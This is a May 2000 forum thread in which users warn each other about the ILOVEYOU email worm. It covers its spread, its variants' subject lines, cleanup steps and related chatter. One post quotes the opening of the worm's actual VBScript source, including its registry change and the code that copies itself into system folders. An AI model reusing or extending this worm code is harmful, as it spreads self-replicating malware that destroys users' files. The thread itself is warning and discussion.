Tech: Despicable Virus Alert

To Thread - Forum Home

The Mudcat Café ^TM
https://mudcat.org/thread.cfm?threadid=21088
95 messages

Tech: Despicable Virus Alert

04 May 00 - 11:09 AM (#222897)
Subject: Tech: Despicable Virus Alert
From: Amos

A current virus circulating the globe at high speed should be brought to your attention. It uses a Visual Basic script to mess with mail systems which speak that language such as MS Outlook. It comes as email with the subject "I Love you" and carries an attachment called ILOVEYOU.TXT.vbs.

Do NOT open the attachment. Among other things, if you are using a vulnerable mail application, it will attach itself to 150 names from your address list and send itself to them. It has also been known to blank out all the user configuration setting in Netscape Communicator in one case. Mine.

Just trash the email. it is despicable that some dweeb-psycho should use the most treasured message in our vocabulary to harm people's working environments this way. I spit. Blgggh.

Be alert for it -- I have received two copies this morning appearing to come from company offices, and have heard it has spread as far as Asia.

Amos

04 May 00 - 11:28 AM (#222909)
Subject: RE: Tech: Despicable Virus Alert
From: Skivee

I haven't gotten it myself, but two of my compu-palz have. This is the real thig here, not one of those knee jerk warning things. Thanks Amos

04 May 00 - 11:35 AM (#222913)
Subject: RE: Tech: Despicable Virus Alert
From: SINSULL

Too Late, Amos. Someone at our office opened it. Monday my system crashed. Now this. Maybe by tomorrow I will be ready to write a song about it. right now I am ready to cry.

04 May 00 - 11:44 AM (#222916)
Subject: RE: Tech: Despicable Virus Alert
From: Amergin

Thx for the warning, Amos. I'll keep an eye out for it.

04 May 00 - 11:49 AM (#222919)
Subject: RE: Tech: Despicable Virus Alert
From: SDShad

Really, really, really don't open this evil abomination.

Three people in our department did, and it's getting ugly. Not only does it send itself out to anyone in your Contacts and Personal Address Book, apparently if you're on a Microsoft Exchange server (which we are) it sends it out to everyone on the Exchange global address list. Even after cleaning it, one of our people still had 700 messages waiting to send in the Outbox.

What's more, it infects all GIF, JPG, MP2, MP3, and .MPG files, and at least with our antivirus package, Command Antivirus, the only disinfect technique is to delete the infected file.

And apparently, if goes out to a website where it downloads and runs another destructive program (which may be what actually messes with your multimedia files, I'm not sure).

Melissa was nothing compared to the Love Bug. Avoid, avoid, avoid.

Chris

04 May 00 - 12:05 PM (#222929)
Subject: RE: Tech: Despicable Virus Alert
From: Amergin

I hope you don't mind, Amos, but I went ahead and pasted your post at another site, so to warn a few others. If you do mind I will be hanging my head down in shame. Amergin

04 May 00 - 12:15 PM (#222934)
Subject: RE: Tech: Despicable Virus Alert
From: Amos

No, I don't mind. Good of all. Psychos like that deserve to be whipped with wet serial cables until they faint. It's not like we are all taking our leisure in all these offices around the land and have idel time on our hands. And bad days at the office often lead to bad days at home, for some folks, with family stresses and side-effects on kids, marriages, and so on. Not to mention the gross waste of bandwidth and the huge number of productive hours this little A-hole has decided to expropriate from the human treasury. Makes me angry. This is beyond the scope of normal compassion -- it calls for swift justice. And it probably won't happen because it is so hard to trace one of these flying viruses. This one even messes up the time-stamps on the relays in the headers (of the one I got) so it looked like it was running time backwards -- the originator timestamps were later than the receiver timestamps. Glad I'm not using a Microsoft mail product!

04 May 00 - 12:16 PM (#222935)
Subject: RE: Tech: Despicable Virus Alert
From: Llanfair

It's been on the UK News today, it's causing mayhem. Bron.

04 May 00 - 12:21 PM (#222944)
Subject: RE: Tech: Despicable Virus Alert
From: Amergin

Thanks, Amos, glad you don't mind.

04 May 00 - 12:22 PM (#222947)
Subject: RE: Tech: Despicable Virus Alert
From: katlaughing

Thanks, Amos, I have copied and pasted you warning and sent it to everyone on my email list. I share in your outrage.

04 May 00 - 12:24 PM (#222951)
Subject: RE: Tech: Despicable Virus Alert
From: Amos

The systems maintenance staff at Science Applications international, a large US engineering and science firm, have posted the following to their personnel nationwide:

"E-Mail Virus Alert! SAIC E-Mail Services Currently Unavailable.

All SAIC E-Mail services are currently unavailable due to a virus in the system. If you receive an e-mail message with the subject line "ILOVEYOU," delete it immediately without opening the message. E-Mail Services is working to resolve the problem as quickly as possible. Your patience is appreciated"

The virus goes into your address book and starts sending the message to everyone in your address books. There may also be a blue screen.

04 May 00 - 12:25 PM (#222955)
Subject: RE: Tech: Despicable Virus Alert
From: MMario

Thanks amos....I just posted something myself as this wasn't appearing in my list.

04 May 00 - 12:25 PM (#222956)
Subject: RE: Tech: Despicable Virus Alert
From: Amos

Norton Anti-Virus -- the Symantec Anti-Virus Research Center now has info on the virus posted on their Web page. Note that they call it LoveLetter.A

http://www.sarc.com/avcenter/venc/data/vbs.loveletter.a.html

Or click here for Norton's page.

04 May 00 - 12:42 PM (#222969)
Subject: RE: Tech: Despicable Virus Alert
From: SINSULL

We tried rebooting and it started all over again. Now our IT people are going through our entire system file by file. It's everywhere.

Please if any of you find the person (generous term) who started this, don't kill him. I want him to suffer first. Maybe 3 weeks of Barry Manilow.

We're fixed now. Back to work.

04 May 00 - 12:57 PM (#222980)
Subject: RE: Tech: Despicable Virus Alert
From: McGrath of Harlow

There are three threads on this so far. The bloody thing is even duplicating (even triplicating) at second hand now...

Anyway, here's what I posted on one of the others:

Well, I can't imagine opening any message saying "I love you". It helps being a curmudgeon sometimes.

I make a point of deleting unread any attachments from peoplke I don't know and trust. But presumably if this love thing turns up iot'll be attached to some message allegedly from someone who's got you in their address book, and whom you know?

And presumably the same thing could be done with more plausible messages, such as "see attached song file" or whatever. So if anybody sends me any attachments, they are going to get back an email from me checking that its ok, and I expect other people to do the same to me. What a drag.

04 May 00 - 01:08 PM (#222990)
Subject: RE: Tech: Despicable Virus Alert
From: Molly Malone

Yes, this file has hit the workplace here as well. It sends itself to your address list. We got the warning in plenty of time fortunately, but it looks like a harmless message from someone we do business with. Of course, someone in the office opens this and we ALL get it. That's why it's easy for people not to realize.

If I got this from my hubby, of course I would open it! And of course I'm on his email list. So BEWARE! Workplaces everywhere are doubletiming to get rid of it.

04 May 00 - 01:29 PM (#223003)
Subject: RE: Tech: Despicable Virus Alert
From: Homeless

We got hit with this today at our corporate office. I received 23 messages within 5 minutes. A couple things about this... IF YOU DON'T OPEN THE ATTACHMENT, your machine is not infected. If you do open the attachment, you will be infected and will need to do some serious fixing (at least on Win 95/98). The virus will look at the .jpg, .jpeg, .mpg, .mp3 and possibly other files on your drive and create new VBasic scripts with the same name. This is the manner in which it infects them. It does not actually change the files themselves. You need to delete all these .vbs files from you computer. In addition, there will be a WIN32DLL.VBS file created on your computer which needs deleted. Finally, there are a few places in the registry where keys get created to propogate this virus. All these new keys need deleted. If you are computer savvy, the keys can be found in any of the .vbs files - just open them with notepad. If you're not familiar with the registry, don't mess with it - get one of the anti-virus packages and hope it disinfects everything.

04 May 00 - 01:30 PM (#223004)
Subject: RE: Tech: Despicable Virus Alert
From: katlaughing

Are any of you familiar with BrightMail? My ISP recommended it for sifting out spam, in fact I think they may be using it after a May 9th upgrade, as it is offered to ISP's, too.

Apparently your email goes through their site filters first and anything suspect gets held in a cache for you to look at at your leisure, while all deemed worthy gets passed on to your mailbox. I would be interested except I'd like to know more about privacy and whether they gather info and use it to market or whatever. I have not explored their site, yet, so I don't know.

Thanks,

kat

04 May 00 - 01:52 PM (#223021)
Subject: RE: Tech: Despicable Virus Alert
From: SINSULL

What I have learned the hard way: 1. My boss does not "Love" me. 2. Right click on any attachments and opt for a virus scan before opening them. It may not catch all but will most. 3. If above is necessary, don't open the GDThing!

Mary Sunshine

04 May 00 - 02:32 PM (#223041)
Subject: RE: Tech: Despicable Virus Alert
From: Dave (the ancient mariner)

Thanks kat for the personal email; and Amos for warning us... Dave

04 May 00 - 03:20 PM (#223077)
Subject: RE: Tech: Despicable Virus Alert
From: Escamillo

Thanks Amos, as far as Buenos Aires I received some alert message too, but until now there is still no damage. It's a good opportunity to REMIND EVERYBODY TO NEVER, NEVER OPEN AN ATTACHMENT IF YOU DID NOT SPECIFICALLY ASKED FOR IT. I´m sorry for any friends who may want to cheer me through messages like "hi", "see this", "listen to this" - I consider them in the same category as "earn money at the Web" and even "Virus alert" - I eliminate the message and the attachment without reading it.
WE ARE REGISTERED IN MUCH MORE LISTS THAN WE CAN IMAGINE. See https://grc.com (Gibson Research Corp.) for a good explanation on how trojan programs work, and a program that will analyze your PC and give you more than one surprise, the program is OPTOUT. I have strong reasons to suspect that those trojans, introduced in your PC along with freeware programs, will CALL the headquarters of virus distributors and GIVE them your e-mail address, as well as they actually do to spammers.
Beware. Un abrazo - Andrés

04 May 00 - 08:56 PM (#223261)
Subject: RE: Tech: Despicable Virus Alert
From: Amos

I thought those of you who have watched this catastrophe unfold in our global underbelly might like to see what the first part of the file that caused all this looked like. I found it tucked away in a plug-ins directory. But it seems very certain this is the code that was plundering the time of hard working people all over the planet, and as you can see it seems to have been written by a person who is constrained to go to school. In other words another of the antisocial juvenile class which we have all come to know and ... love:

FILE EXCERPT STARTS HERE=====

rem barok -loveletter(vbe) <i hate go to school>
rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila,Philippines
On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
end if
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
regruns()
html()
spreadtoemail()
listadriv()
end sub ==FILE EXCERPT ENDS HERE

04 May 00 - 10:00 PM (#223290)
Subject: RE: Tech: Despicable Virus Alert
From: Mrrzy

Wow! I always complain about our IT dept, but we got this virus and DIDN'T crash or lose email (and, we have Asian and European offices) - I take back all the awful things I said about them! Consider it all transferred to the perps...

04 May 00 - 11:58 PM (#223336)
Subject: RE: Tech: Despicable Virus Alert
From: Billy the Bus

It was "top of the 6am news", here in NZ. Seems quite a few businesses have been affacted. No signs of it in my mail box yet - TG. Thanx for the warning and tips.

Sam

05 May 00 - 01:35 AM (#223365)
Subject: RE: Tech: Despicable Virus Alert
From: MK

Amos, you're a man after my heart (in a Padres sort of way.) I love reading source code, and much of the time I spend surfing, I find reading the source code of a given web page more entertaining than the content and design of the web page itself.

Does this make me a ---------------nerd? *BG*

05 May 00 - 01:54 AM (#223369)
Subject: RE: Tech: Despicable Virus Alert
From: Bob Bolton

G'day all, I don't know if this is an Australian-only variant (if it is, it won't stay that way for long!) but Helen has (on the other version of this thread) raised what I came in for.

There is a new variant, using the same basic Visual Basic Script but now headed FWD: JOKE with a text very like; "You will find this very funny." and an attached file "VERYFUNNY.TXT.vbs". nyone who works in a large organisation - or who has a wide circle of friends with a sense of humour - will find this particularly insidious!

Regards,

Bob Bolton

05 May 00 - 02:16 AM (#223374)
Subject: RE: Tech: Despicable Virus Alert
From: Helen

Thanks Bob,

Here is the web address, via Go.Com for the JOKE variant on the ILOVEYOU virus.

http://www.abcnews.go.com/cgi/transfer.pl?goto=http://www.abcnews.go.com/sections/tech/DailyNews/virus_000505.html&name=fromgonews

Helen

05 May 00 - 05:36 AM (#223404)
Subject: RE: Tech: Despicable Virus Alert
From: Escamillo

Once you have made a succesful virus, and have the world at your feet (as those jerks may feel), it´s very easy to start new ones with different names and different legends to hook the curiosity of people. Again, destroy those mails as soon as you see them. Don´t even try to reply to the sender. Don´t open unsolicited attachments coming from your mother. Sure it is not a sweater.
Un abrazo - Andrés

05 May 00 - 06:39 AM (#223412)
Subject: RE: Tech: Despicable Virus Alert
From: Crowhugger

Oh, why didn't I look at this thread when I saw it yesterday? I'm now awaiting a reply from my Aunt as to whether she e-mailed me. I [expletive withheld] hope so.

CH.

05 May 00 - 07:53 AM (#223426)
Subject: RE: Tech: Despicable Virus Alert
From: GeorgeH

Actually, I find this thing has given me more laughs than anything I can remember.

If you use a sensible email agent then you won't propagate this virus.

If you use a sensible computer operating system (Mac or Unix these days, I suppose) you're completely immune from it.

If you follow the standard, sensible rules for configuring your system and dealing with received email you won't have been affected by this at all (ok, it's propagation is clever so that if you're hit by a "second wave" copy of it it will appear to have been sent by someone you know).

So its shutting down Government email systems just shows how inadequate their IT provision/training is.

And if you don't like it - complain to Bill Gates for supplying the world with such stupid tools. If ever you wanted proof that MS's dominance of the desktop computer market is unhealthy then this is it.

BTW it could have been MUCH worse - the distribution of the thing could have used randomly-changed subject lines, and/or the REAL nasty virus could have been installed on a web server which was able to cope with all the "hits" it received.

No, I don't approve of viruses. But I disapprove even more of MS making it almost trivial to distribute them (there are, literally, hundreds of thousands of IT people out there who could have written the distribution side of this thing . . )

Sorry if this offends anyone out there, but these truths need expressing.

(And yes, we received copies of the virus, and no, we weren't affected by it . .)

05 May 00 - 09:18 AM (#223456)
Subject: RE: Tech: Despicable Virus Alert
From: MMario

There are literally hundreds of thousands of SCHOOL CHILDREN who could havewritten this....

05 May 00 - 09:28 AM (#223463)
Subject: RE: Tech: Despicable Virus Alert
From: Dave (the ancient mariner)

The potential to destroy hospitals, Search and Rescue services, and humanitarian agencies by this type of virus is truly frightening. We are so dependant on technology to support our operations that it would place many lives in danger. People who are caught writing such programs should be charged with attempted murder in my opinion. Yours, Aye. Dave

05 May 00 - 10:14 AM (#223487)
Subject: RE: Tech: Despicable Virus Alert
From: Crowhugger

Dtam, that's a good idea, convicted too.

GeorgeH, too-true truths. I think whichever OS is most widely used would be most vulnerable. Also Norton, McAfee et al profit nicely from this stuff. If this virus is new, how long till upgrades can remove it?

Whew, after my first worst thoughts, I realized that the magic words weren't in the subject line of the e-mail from my Aunt.

CH.

05 May 00 - 10:21 AM (#223492)
Subject: RE: Tech: Despicable Virus Alert
From: jeffp

A co-worker alerted us to a new variant on the Love Bug virus. It comes in an email which claims to be a Mother's Day order confirmation. It says that $350 has been billed to your credit card and an invoice is attached. The invoice is the virus. Beware!

jeffp

05 May 00 - 10:40 AM (#223503)
Subject: RE: Tech: Despicable Virus Alert
From: Jon Freeman

George, I suppose any of can get caught by a virus at sometime but it is true that a few sensible precautions dramatically reduce the risk and I think that is something that has been mentioned here a few times.

Your thoughts on MS and how easy they have made it are interesting. I must admit having seen a code sample yesterday, I wondered about the same thing. It appeared to me that anyone with the slightest knowledge of VB (or any high level language) and the relevant documentation could write such a program.

Jon

05 May 00 - 12:32 PM (#223538)
Subject: RE: Tech: Despicable Virus Alert
From: MMario

you should have seen the snit-fit I threw in a bookstore one day when I walked in and there, sitting on a prominent showcase display for sale was "Viruses for Dummies - how to create and distribute them"! I went through the roof!

I did the whole red-faced screaming yelling "I demand to see the manager, NOW!" bit with quite a few people around....(and was mortified later....)

I wish I could say they immedietly removed the book from the stands, but they didn't. However, the next day it was in the back of the store....

05 May 00 - 12:41 PM (#223541)
Subject: RE: Tech: Despicable Virus Alert
From: Sorcha

Sent a message to my brother, who is in the US Army and e mails me from his office computer----he said the Army is in a PANIC about this.............he had rec'd it, but didn't open it, thank goodness, so it's not his fault if the Army crashes!

05 May 00 - 12:51 PM (#223545)
Subject: RE: Tech: Despicable Virus Alert
From: Amergin

Just read that they may have traced it to a 23 year old male in the Phillippines.

05 May 00 - 01:57 PM (#223581)
Subject: RE: Tech: Despicable Virus Alert
From: GUEST,Fionn

Thank God for GeorgeH. Was beginning to think we'd all lost our sense of fun!

But why don't you all ditch Windows and use Linux, which is free and freely downloadable (or maybe 50 bucks if you want it on CDs with manuals etc), and many times more powerful and many times more robust/reliable than Windows? If you think I'm joking, just find someone who uses it and see what they say.

In the meantime you'll all have to go and vent your bile on that 23-year-old nerd in Manila.

05 May 00 - 02:08 PM (#223589)
Subject: RE: Tech: Despicable Virus Alert
From: catspaw49

MARIO.......You've got to be shitting me! Tha's really a book??? Really? Did you look at it? What was in it?

Spaw

05 May 00 - 02:21 PM (#223597)
Subject: RE: Tech: Despicable Virus Alert
From: SDShad

Depends, Fionn. Does Hearme work under Linux?

Chris

05 May 00 - 02:22 PM (#223598)
Subject: RE: Tech: Despicable Virus Alert
From: GeorgeH

I'm sorry DaveAM, but there is NO excuse for hospitals etc being brought to their knees by that OTHER than utter incompetence in their management . . no comfort to those put at risk by the result of the virus (which is why I don't defend IN ANY WAY the action of the originator of this thing) - but I do think those responsible for "managing" these "services" show an even greater failure . .

The point is that this attack mechanism was both obvious and well known. Only through complacency (or total incompetence) could this have had the impact it did.

05 May 00 - 02:30 PM (#223607)
Subject: RE: Tech: Despicable Virus Alert
From: SeanM

Well, one unfortunate side effect of Microshaft's market dominance is the utter lack of Linux based products. I've seen a couple places that offer Linux software for download, but nothing out in the open market.

Until that is changed, Linux will continue to be primarily a business/techwonk OS, without any impact on the average consumer computer user.

05 May 00 - 02:48 PM (#223618)
Subject: RE: Tech: Despicable Virus Alert
From: Amos

New angles on the aftershocks:

Mother's Day Worm Worse? (Technology 8:00 a.m. PDT)

http://www.wired.com/news/technology/0,1282,36152,00.html?tw=wn20000505

At least five variants of Thursday's virulent 'Love Bug' email worm have already be found. A 'Mother's Day' worm can cripple a user's computer. By Michelle Finley.
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

Hey Spyder: Love You, Too (Technology 3:00 a.m. PDT)

http://www.wired.com/news/technology/0,1282,36139,00.html?tw=wn20000505

Like Mafiaboy before him, the alleged perpetrator of the malicious 'Love Bug' email worm has a goofy name. And he wreaked a whole bunch of havoc. If he's caught, he's in big trouble. By Lynn Burke. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

The Love Continues to Spread (Technology 7:00 a.m. PDT)

http://www.wired.com/news/technology/0,1282,36149,00.html?tw=wn20000505

The 'Love Bug' is now being called the worst computer worm ever, and it continues to spread all over the world. Copycats abound, too.
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

Vendors Overwhelmed by 'Love' (Technology 3:00 a.m. PDT)

http://www.wired.com/news/technology/0,1282,36128,00.html?tw=wn20000505
The rampant spread of the Love Bug raises the bar for anti-virus vendors challenged by scores of users looking to their sites for a fix. Some users give up and turn to alternative sources. By Elisa Batista.

05 May 00 - 03:03 PM (#223633)
Subject: RE: Tech: Despicable Virus Alert
From: Amos

And finally some directions on fixing the damage caused by the LoveLetter from Spyder.

05 May 00 - 03:39 PM (#223661)
Subject: RE: Tech: Despicable Virus Alert
From: MMario

yes, 'spaw, there is indeed such a book, and it has detailed step by step instructions on how to write a virus, worm, trojan , and just about every other nasty you can think of. And how to distribute them.

I respect the author's right under freedom of speech to write the book, however I do wish that the publisher had declined to print it and the store declined to carry it.

05 May 00 - 03:57 PM (#223669)
Subject: RE: Tech: Despicable Virus Alert
From: Jon Freeman

Re the Linux thought, I have tried running Corel Linux in a DOS folder and have found it less than satisfactory. I would like to pursue using Linux but feel I will need to be in a position where I am able to give it it's own partition or ideally disk drive before I can really see what it is like.

The problem here is basically that for better or worse, I know what I have under Windows and much of it works reasonably well and it would take me months (assuming I could) to make the move and find equivilant programs assuiming I could afford to.

I support the Linux move but I feel that it is impractical for many of us and regards to this forum and things I have been involved with, can not get the Java ICQ to run and hearme do not suport Hearme. I am not into the MS dominance but until I have something better that what I have now I would not be suggesting that Windows users abandon it in favour of Linux.

Jon

05 May 00 - 04:24 PM (#223687)
Subject: RE: Tech: Despicable Virus Alert
From: Chocolate Pi

I'm using LinuxPPC, doublebooting with MacOS, on an iMac. I love my Linux box very much (the OS takes up hardly any room (so I can play Quake3!); code compiles screamingly fast); however, I wouldn't reccomend it for people who want their machines to be a black box (or beige box). You do have to learn about what's really going on, instead of just pointing and clicking. There aren't ports of many popular software apps, although there's all kinds of stuff showing up on Freshmeat all the time. I suppose it is possible to run Linux as a user from an Xwindows GUI without ever having to go into command-line, but that takes all the fun out of it!

Chocolate Pi

05 May 00 - 05:30 PM (#223711)
Subject: RE: Tech: Despicable Virus Alert
From: Jon Freeman

I guess part of the problems I had with Corel Linux were that I couldn't get to the command line. The only way I could set it up involved running in a Dos folder, the Dos Loader started and I could find no way of interupting the process without comlete lock up until the KDE display manager loaded.

I had changed a grahics card and all I could get was a flashing screen even in command prompt mode (Ctr Alt F2 takes you there from the grahics from KDE). To make matters worse, the only time the keyboard input was accepted was when the screen was "on" in its flash mode. Took me ages keying in to get to XF86Config to set it back to a std VGA monitor before I was able to tell it about the ATI card...

I am still persevering with Linux and think that some of my troubles were to do with the DOS loader but things need to improve on this sort of thing.

Jon

(never a Unix user but a CP/M and DOS command line user)

05 May 00 - 07:32 PM (#223773)
Subject: RE: Tech: Despicable Virus Alert
From: McGrath of Harlow

I juast checked Amzon for "Viruses for Dummies" - I didn't find it - but there was "Virus Defence for Dummies". Out of print.

Still I suppose, if you're in the business of writing viruses, you would need to know about defence techniques, so maybe there's not a lot of difference. Lke when a government is running germ or poison gas warfare research, this always gets explained as being intended purely to help defened against germ or poison gas attacks.

Basic rule is, any time you get an attachment you haven't asked for, send an email saying "there's an email in my intray which says it's from you, with an attachment called etc etc - could you confirm that it's what it says it is?" What's difficult about that? And the other thibg kjs, once you've deleted any suspicious emails and attachments, empty the deleted file as well, just to be on the safe side.)

The thing has its funny side though - the British House of Commons got hit because some MP saw the ILOVEYOU attachment, and thought it was real and opened it. Now what kind of politician would expect to get a real "I Love You" message? (Well, Ken Livingstone might maybe, but he'd not be fool enough to trust it and open it.)

09 May 00 - 10:19 AM (#225166)
Subject: Tech: Despicable Virus: Update
From: Amos

Update May 9th 00:

VIRUS SPREAD LIKE WILDFIRE (Excerpt from Netscape news feed).

"The ``Love Bug'' is the most virulent computer bug ever created. Upon opening an attachment using Microsoft software such as the Outlook program, it sends a copy of the virus to everyone in the user's address book and seeks to destroy a variety of files throughout a computer network, including picture and music files.

The latest variants on the virus include tainted messages with subject lines such as Dangerous Virus Warning; Virus ALERT; How To Protect Yourself From The ILOVEYOU Bug; and >b>Thank You For Flying With Arab Airlines. "

You are probably already aware of the earlier mutation disguised as a Mother's Day gift invoice, usually for some jewelry "special"; the attachment, presented as the invoice, is actually the Visual Basic script which runs the virus.

Having spent over five hours cleaning up the mess this virus caused on one machine, you lasses and laddies, take warning from me -- don't open attachments that were built in V.B.

Norton AntiVirus software can now be updated to include Lovebug in its scans, and the definition updater can be downloaded from the Symantec site. Likewise for McAffee antiviral packages.

09 May 00 - 11:52 AM (#225214)
Subject: RE: Tech: Despicable Virus Alert
From: Amos

The following summarizes eight known variants:

   ANSIR E-MAIL - National Infrastructure Protection Center (NIPC) Alert
   00-041d (LOVE-LETTER-FOR-YOU) Also known as the LOVE BUG VIRUS and
   variants;

   UPDATE as of 2000 (EST) 7 May 2000
   As of 7 May 2000, at least eleven variants of the LOVE BUG worm have
been   identified. These variants may behave differently than the original
worm   and may impact different files. Preliminary information on variants
is   provided below:

   A.    VBS.LoveLetter.A
         Attachment:     LOVE-LETTER-FOR-YOU.TXT.vbs
         Subject:        ILOVEYOU
         Message Body:   kindly check the attached LOVELETTER coming from me.

   B.    VBS.LoveLetter.B (also known as Lithuania)
         Attachment:     LOVE-LETTER-FOR-YOU.TXT.vbs
         Subject:        Susitikim shi vakara kavos puodukui...
         Message Body:   kindly check the attached LOVELETTER coming from me.

   C.    VBS.LoveLetter.C (also known as Very Funny)
         Attachment:     Very Funny.vbs
         Subject:        fwd: Joke
         Message Body:   (empty)

   D.    VBS.LoveLetter.D (also known as BugFix)
         Attachment:     LOVE-LETTER-FOR-YOU.TXT.vbs
         Subject:        ILOVEYOU
         Message Body:   kindly check the attached LOVELETTER coming from me.

   E.    VBS.LoveLetter.E (also known as Mother's Day)
         Attachment:     mothersday.vbs
         Subject:        Mothers Day Order Confirmation
         Message Body:   We have proceeded to charge your credit card for the
         amount of $326.92 for the mothers day diamond special. We have   attached
         a detailed invoice to this email. Please print out the attachment   and
         keep it in a safe place. Thanks Again and have a Happy Mothers   Day!

   F.    VBS.LoveLetter.F (also known as Virus Warning)
         Attachment:     virus_warning.jpg.vbs
         Subject:        Dangerous Virus Warning
         Message Body:   There is a dangerous virus circulating. Please click
         attached picture to view it and learn to avoid it.

   G.    VBS.LoveLetter.G (also known as Virus ALERT!!!)
   Attachment: protect.vbs
         Subject:        Virus ALERT!!!
   Message Body: (contains a lengthy message regarding the LOVE BUG Virus)
   NOTE: This email poses as a message from Symantec Technical Support.
   "FROM support@symantec.com." This variant also overwrites files with .bat
   and .com extensions.

   H.    VBS.LoveLetter.H (also known as No Comments)
   Attachment: LOVE-LETTER-FOR-YOU.TXT.vbs
         Subject:        ILOVEYOU
   Message Body: kindly check the attached LOVELETTER coming from me.
   I.    VBS.LoveLetter.I (also known as Important! Read carefully!!)
   Attachment: Important.TXT.vbs
         Subject:        Important! Read carefully!!
         Message Body: Check the attached IMPORTANT coming from me!
         Misc Notes: A new comment line at the beginning: by BrainStorm /
   @ElectronicSouls. The virus also copies the files Eskernel32.vbs &
   ES32DLL.vbs, and MIRC script comments referring to BrainStorm and
   ElectronicSouls and sends a file Important.Htm to the chat room.
   J. VBS.LoveLetter.J (New)   (Currently being analyzed)
   Attachment: Unknown
         Subject:        Unknown
         Message Body: Unknown
         Misc Notes: This appears to be a slight modification of the G
         variant

   K.    VBS.LoveLetter.K (New)
   Attachment: Unknown
         Subject:        Unknown
         Message Body: Unknown
         Misc Notes: This appears to be a slight modification of a previous
         variant

09 May 00 - 11:59 AM (#225220)
Subject: RE: Tech: Despicable Virus Alert
From: katlaughing

Thanks, Amos! BTW, have any of you who use ZoneAlarm noticed a faint click from your hard drive when it is in use? It is really annoying and constant. When I disable ZoneAlarm I don't hear it anymore. Any ideas?

Thanks,

katwhoseputersoundslikeatickingtimebomb!

09 May 00 - 12:20 PM (#225232)
Subject: RE: Tech: Despicable Virus Alert
From: Amos

It probably calls for frequent updates to a monitoring file or something like that. Same thing happens in some systems when virtual memory or tracking recently used items is turned on -- it's probably just a lot of disk access going on. It cuts your performance a little but for normal home use it won't be noticeable mostly aside from the clicks.

09 May 00 - 01:04 PM (#225264)
Subject: RE: Tech: Despicable Virus Alert
From: Jon Freeman

I have finaly got my latest virus InoculateIT update. I haven't been able to get it to download since this scare came out.

Regards opening a file marked .vbs, I have been very suspicious for some time and think I would not have opened one without knowing why I had recieved one, regardless of the sender, long before this current problem cropped up.

As I have said before, we can all get caught (and I sometimes open things that maybe I shouldn't) but in some ways, caution on our part is better protection than the anti-virus software as they have to catch up the new ones as they are written.

Jon

09 May 00 - 01:09 PM (#225267)
Subject: RE: Tech: Despicable Virus Alert
From: McGrath of Harlow

Watching computer gurus being interviewed about this on the news I got the feeling they were chortling inside. It puts them back in businesss again, after the failure of the Millenium Bug to bring the end of civilisation lost them such a lot of credibility.

Being cynical about such things, I believe we can anticipate that this kind of thing is going to crop up periodically, any time the gurus need a bit of favourable media attention.

Next thing, I imagine, will be variants where the message it sends is more likely to fool people into thinking it's a real message from the person it says it's from - or even some clever gizmo that attaches the attachment to a real message, replacing the attachment that you were meaning to send, the next time you send an attachment...

09 May 00 - 01:20 PM (#225274)
Subject: RE: Tech: Despicable Virus Alert
From: Willie-O

Unfortunately McGrath is right. I was sent the ILOVEYOU virus from an in-laws work computer--fortunately I had heard about it on the radio ten minutes earlier--but the message would have made me suspicious anyway since it sure as hell didn't sound like my wife's cousin's husband...but like most users I didn't know what a .vbs extension meant back then.

when the little dickheads (in this case petty criminals who were aparently trolling for psswords,) are realizing from this is that to make a virus really dangerous, it has to be believably packaged--what they call "social engineering". ILOVEYOU was a pretty primitive effort on that front, but apparently thats all it took.

Thanks for the list Amos.

Willie-O

09 May 00 - 01:32 PM (#225280)
Subject: RE: Tech: Despicable Virus Alert
From: Jon Freeman

McGrath, I have to disagree with you on your thoughts regarding the millenium virus and think that many computer workers must have emerged with great credibility through thoroughly checking thier sytems to ensure that there were no problems.

Whether the people who did this work were the ones that seemed to make all the noise, jump on a bandwagon and apparently make a lot of money, is of course a different matter.

Jon

09 May 00 - 01:42 PM (#225284)
Subject: RE: Tech: Despicable Virus Alert
From: Jon Freeman

Yes WillieO and McGrath, I can see the psychological angle but to come back to GeorgeH's comments, I still can't help but wonder what people were doing opening such attachments within working environments such as hospitals. Surely these risks are explained by management.

Jon

09 May 00 - 01:46 PM (#225289)
Subject: RE: Tech: Despicable Virus Alert
From: McGrath of Harlow

Well, they should "have emerged with great credibility" - but the problem was they did such a good job fixing the Millennium Bug that lots of people assumed it had never been there in the first place.

Big mistake. If you're doing something difficult it can help to make a few mistakes to show people it's difficult - like streetwise jugglers do. I like to remember this when I screw up a song or a tune...

09 May 00 - 02:20 PM (#225314)
Subject: RE: Tech: Despicable Virus Alert
From: Amos

Add to the list the German variant "Sehr geehrte Damen und Herren!"

McGrath, the Y2K issues was no joke, and I am still very surprised how few major catastrophes occurred; I am especially surprised that more embedded and forgotten controller ships didn't turn up with date-sensitive architecture. But I have heard enough actual reports of whole factories shutting down mid-job during remediation testing, and complex systems wrapping themselves around phone poles because the mismanaged date field was souring data transfers or forcing logical loops in whacky ways ... that I am very grateful as much remediation occurred as did. Had it not occurred, I am confident we would have inherited a lot more chaos.

Also, with all due respect, computer gurus right now are not at any risk of being out of work. Over here, anyway, the unemployment rate is the lowest it has been in years and anyone competent in a technical field has a premium on his head as a desireable employee because there are so many fronts on which new technologies are being deployed.

09 May 00 - 03:05 PM (#225353)
Subject: RE: Tech: Despicable Virus Alert
From: SeanM

Re: the Y2K glitch...

It DID have some practical effects on the world, but they were covered fairly quickly.

